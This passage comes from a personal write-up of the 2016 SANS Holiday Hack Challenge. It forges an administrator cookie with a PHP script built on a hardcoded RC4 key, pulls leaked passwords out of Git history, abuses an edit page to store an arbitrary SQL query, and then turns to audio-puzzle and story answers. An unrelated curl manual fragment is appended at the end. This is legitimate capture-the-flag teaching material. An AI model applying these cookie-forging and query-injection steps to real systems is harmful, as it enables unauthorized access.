    if(!isset($_COOKIE['AUTH'])) {
      return;
    }

    $auth = json_decode(decrypt(pack("H*",$_COOKIE['AUTH'])), true);

    return $auth['username'];
  }
[...]
 function check_access($db, $username, $users) {
    # Allow administrator to access any page
    if($username == 'administrator') {
      return;
    }

    if(!in_array($username, $users)) {
      reply(403, 'Access denied!');
      exit(1);
    }
  }

From this source file, we can determine that administrator has access to every page, and that the application uses the cookie AUTH to determine the current logged in username. Let's see how this cookie is generated:

# File login.php
<?php
[...]
    print "Successfully logged in!";

    $auth = encrypt(json_encode([
      'username' => $_POST['username'],
      'date' => date(DateTime::ISO8601),
    ]));

    setcookie('AUTH', bin2hex($auth));

    header('Location: index.php?msg=Successfully%20logged%20in!');
  }

# File crypto.php
<?php
  define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

  function encrypt($data) {
    return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
  }

  function decrypt($data) {
    return mcrypt_decrypt(MCRYPT_ARCFOUR, KEY, $data, 'stream');
  }
?>

So, we can see that the username is stored in a JSON object, stored encrypted in the cookie AUTH. Since we have the encryption key in crypto.php, we can generate our own cookie:

<?php
    include('crypto.php');

    $auth = encrypt(json_encode([
      'username' => 'administrator',
      'date' => date(DateTime::ISO8601),
    ]));

    echo bin2hex($auth);
?>

$ php exploit.php
82532b2136348aaa1fa7dd2243dc0dc1e10948231f339e5edd5770daf9eef18a4384f6e7bca04d86e573b965cc9c6549b449486763a20363b71876884152

We can now log into the application as administrator:

There was another, more elegant method, to recover administrator's password. Since we have the Git repository of the web application, we have access to every file's history. We can see that in the source of the website, there is an SQL schema file, sprusage.sql. This file is used to create a database with the right schema. It's often created with a dump of the currently deployed database. However, if we take a look at it, we won't see any data in it, apart from the tables creation instructions:

DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
  `uid` int(11) NOT NULL,
  `username` varchar(128) NOT NULL,
  `password` varchar(128) NOT NULL,
  PRIMARY KEY (`uid`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

But, if we take a look at the Git log, we can see that the file was "fixed":

commit 62547860f9a6e0f3a3bdfd3f9b14fea3ac7f7c31
Author: me <me@example.org>
Date:   Mon Nov 21 21:15:08 2016 -0800

    Fix database dump

Let's see the different modifications made on sprusage.sql:

$ git log -p -- ./sprusage.sql
[...]
commit 62547860f9a6e0f3a3bdfd3f9b14fea3ac7f7c31
Author: me <me@example.org>
Date:   Mon Nov 21 21:15:08 2016 -0800

    Fix database dump

diff --git a/sprusage.sql b/sprusage.sql
index a382229..b948dd0 100644
--- a/sprusage.sql
+++ b/sprusage.sql
[...]
 LOCK TABLES `users` WRITE;
 /*!40000 ALTER TABLE `users` DISABLE KEYS */;
-INSERT INTO `users` VALUES (0,'administrator','KeepWatchingTheSkies'),(1,'guest','busyllama67');
 /*!40000 ALTER TABLE `users` ENABLE KEYS */;
 UNLOCK TABLES;
 /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

We can see that administrator's password is KeepWatchingTheSkies. With these credentials, we have another method of authenticating as administrator.

Anyway, we now have access to the edit.php page. This means that we can edit past saved queries. However, we can only modify the name or the description of the query, as shown on the screenshot above. Let's see this functionality in action:

Hmm, we can see that the page checks for the presence of some parameters: name, description... and query! Let's take a look at the edit.php file:

<?php
  }
  else
  {
    $result = mysqli_query($db, "SELECT * FROM `reports` WHERE `id`='" . mysqli_real_escape_string($db, $_GET['id']) . "' LIMIT 0, 1");
    if(!$result) {
      reply(500, "MySQL Error: " . mysqli_error($db));
      die();
    }
    $row = mysqli_fetch_assoc($result);

    # Update the row with the new values
    $set = [];
    foreach($row as $name => $value) {
      print "Checking for " . htmlentities($name) . "...<br>";
      if(isset($_GET[$name])) {
        print 'Yup!<br>';
        $set[] = "`$name`='" . mysqli_real_escape_string($db, $_GET[$name]) . "'";
      }
    }

We can see that the edit.php page checks for the presence of every columns of the reports table in the GET parameters. This means that if we specify a query GET parameter, we can modify the stored SQL query of a specific request!

By looking the SQL schema file, sprusage.sql, we can see the format of the audio table, containing the coveted audio file. We can now create our fake query:

SELECT filename,HEX(mp3) FROM audio WHERE username='administrator'

We can now store our malevolent query, and execute it:

We can now recover our hex-encoded audio file, decode it, and get the last audio file, discombobulatedaudio7.mp3.

Part 5: Discombobulated Audio

Now that we've hacked the SantaGram infrastructure, we have our weird audio files. You can download them here:

discombobulatedaudio1.mp3 (sha256: 8e759e28702e15720ff357694b1f8c9062680da933df5c9bdd16897bfcd00f01)
discombobulatedaudio2.mp3 (sha256: e0050656c5262116f82cbe82c85d0b91f9003f22568bee7f4ce7987744c34f99)
discombobulatedaudio3.mp3 (sha256: 7c4a50771764b97227d27aa9dd0a99f396982882111a4924c0b51ee625251ac7)
debug-20161224235959-0.mp3 (sha256: 35f5578bc12f096f4072e1dde2688b15145ba59bc48e9cb405576247c7e5a8bb)
discombobulatedaudio5.mp3 (sha256: c088b01e3accc21eda910f25755ebe2ccda3959e4810ce76cdd8cde8ff07651e)
discombobulated-audio-6-XyzE3N9YqKNH.mp3 (sha256: 776b26a58310d9ad80ab7b5c80fe4a5e03ed86210d9e28906fb93e30004ef35a)
discombobulatedaudio7.mp3 (sha256: 60259f117d76535518dc2b3f01ae314f0969d61ae7066e75af708be7b059f214)

At first, I suspected that, since all the files are approximately the same length, you had to superimpose every one of them, or something, which led to this horrendous result:

You can download the audio file here (sha256: c195d43e6445c84686a1bd4e89429db0f2802e8d8ae31e93769490d1204e098c)

The solution is actually quite simpler. You just have to put the audio files in the order we found them, then change the tempo of the audio track, to get something intelligible:

You can download the audio file here (sha256: 20e91d466c4cea4e1282e32dfc52725eadff05276d91bcc9fbd547c09bf2964a)

If you can't quite hear the spoken phrase, it's:

Father Christmas, Santa Claus or, as I've always known him, Jeff.

Now, I didn't recognize the reference right away, but if you DuckDuckgo the sentence (or part of it if you only got some audio files), you find that it's from a Doctor Who Christmas Special, A Christmas Carol. Now, I DID see this Doctor Who, but failed to remember the reference, so I'm still ashamed of this.

Anyway, if you remember, there was still one door in the North Pole we couldn't open: the door in the Corridor. Since the audio pointed to Doctor Who, I tried every element of the show I could think of ("The Doctor", "Amy Pond", "The Master", "Tardis", "tardis", "TARDIS", "Geronimo", "Geronimo!", "Geronimo!!!", ...). Turns out, the passphrase to the door was just the full sentence we hear in the audio file. Trying too hard leads nowhere.

Now that we've opened the door, we can see Who is behind this nefarious plot (see what I did there?).

It was the Doctor all along! If we talk to him, he explains his plan:

The question of the hour is this: Who nabbed Santa. The answer? Yes, I did. Next question: Why would anyone in his right mind kidnap Santa Claus? The answer: Do I look like I'm in my right mind? I'm a madman with a box. I have looked into the time vortex and I have seen a universe in which the Star Wars Holiday Special was NEVER released. In that universe, 1978 came and went as normal. No one had to endure the misery of watching that abominable blight. People were happy there. It's a better life, I tell you, a better world than the scarred one we endure here. Give me a world like that. Just once. So I did what I had to do. I knew that Santa's powerful North Pole Wonderland Magick could prevent the Star Wars Special from being released, if I could leverage that magick with my own abilities back in 1978. But Jeff refused to come with me, insisting on the mad idea that it is better to maintain the integrity of the universe’s timeline. So I had no choice – I had to kidnap him. It was sort of one of those days. Well. You know what I mean. Anyway... Since you interfered with my plan, we'll have to live with the Star Wars Holiday Special in this universe... FOREVER. If we attempt to go back again, to cross our own timeline, we'll cause a temporal paradox, a wound in time. We'll never be rid of it now. The Star Wars Holiday Special will plague this world until time itself ends... All because you foiled my brilliant plan. Nice work.

Now, although I'm a major Star Wars fan, I've always decided to listen to the advice of my elders regarding the Christmas Special (shout out to Randal Munroe), and I've never watched it. Guess I'll continue to refrain from watching it. Brrrr...

Epilogue: Bringing It All Home

As the title suggests, it's time to bring it home, and answer each question of the challenge:

What is the secret message in Santa's tweets?

The secret message in Santa's tweets is bugbounty.

What is inside the ZIP file distributed by Santa's team?

Inside the ZIP file distributed by Santa's team, there is a copy of the Android application for their bug bounty, SantaGram_4.2.apk.

What username and password are embedded in the APK file?

The credentials in the APK file are guest/busyreindeer78.

What is the name of the audible component (audio file. in the SantaGram APK file?

The name of the audio file in the SantaGram APK file is discombobulatedaudio1.mp3.

What is the password for the "cranpi" account on the Cranberry Pi system?

The password of the "cranpi" account is yummycookies.

How did you open each terminal door and where had the villain imprisoned Santa?

Elf House #2: using sudo to execute commands as itchy, we can read the PCAP file, containing the two halves of the passphrase, one encoded in plain 7-bit ASCII, one encoded in 16-bit big endian.
Workshop, first door: using find, we can find the file containing the passphrase, and print its content.
Santa's office: using our *cough cough* knowledge of the film WarGames, we can get the correct passphrase.
Workshop, second door: by analyzing the wumpus program, we can find the function in charge of computing the passphrase, and directly call it.
Train station: since the HELP function uses less to print the content of the help file, we can use less's features to open other files, including the one containing the passphrase.

The villain had imprisoned Santa Claus in the DFER room, in 1978.

For each of those six items, which vulnerabilities did you discover and exploit?

The Mobile Analytics Server (via credentialed login access):
- Credentials stored in plaintext in the SantaGram APK.
- Use of these credentials on the analytics server.
The Dungeon Game
- Finding of the Dungeon CLI with nmap.
- Using our *cough cough* knowledge of the video game Zork to get the email address of Peppermint.
- Sending an email to Peppermint to receive the audio file.
The Debug Server:
- Patching of the SantaGram APK to enable debug data.
- JSON request tampering to increase verbosity of the debug server.
- Disclosing of the path of the audio file in the response of the debug server.
The Banner Ad Server:
- Using Meteor Miner, we could list the different routes.
- Disclosing of the /admin/quotes route.
- Using Meteor Miner, we could list the collection of quotes.
- Disclosing of the path of the audio file in the attributes of one of the quotes.
The Uncaught Exception Handler Server:
- Verbose error allowing to build a correct ReadCrashDump request.
- Local File Inclusion in the exception.php page.
The Mobile Analytics Server (post authentication):
- Source files recovery with open Git repository.
- Creation of an administrator cookie.
- Exploitation of the edit.php page to store an arbitrary SQL query.

What are the names of the audio files you discovered from each system above?

The Mobile Analytics Server (via credentialed login access): discombobulatedaudio2.mp3
The Dungeon Game: discombobulatedaudio3.mp3
The Debug Server: debug-20161224235959-0.mp3
The Banner Ad Server: discombobulatedaudio5.mp3
The Uncaught Exception Handler Server: discombobulated-audio-6-XyzE3N9YqKNH.mp3
The Mobile Analytics Server (post authentication): discombobulatedaudio7.mp3

Who is the villain behind the nefarious plot?

The villain behind the nefarious plot is the Doctor.

Why had the villain abducted Santa?

The Doctor had abducted Santa to use his magick to prevent the Star Wars Christmas special from ever coming out.

Conclusion

Once again, a great challenge by the SANS, which I managed, this time, to finish completely! I also noticed that I didn't improve my skills in reverse engineering and binary analysis, which is a skill I wanted to improve, as said in last year's write-up. Bad me...

Anyway, see you next year for the next SANS Christmas Challenge ;) !

`--http2-prior-knowledge`
	(HTTP) Tells curl to issue its non-TLS HTTP requests using HTTP/2 without HTTP/1.1 Upgrade. It requires prior knowledge that the server supports HTTP/2 straight away. HTTPS requests will still do HTTP/2 the standard way with negotiated protocol version in the TLS handshake.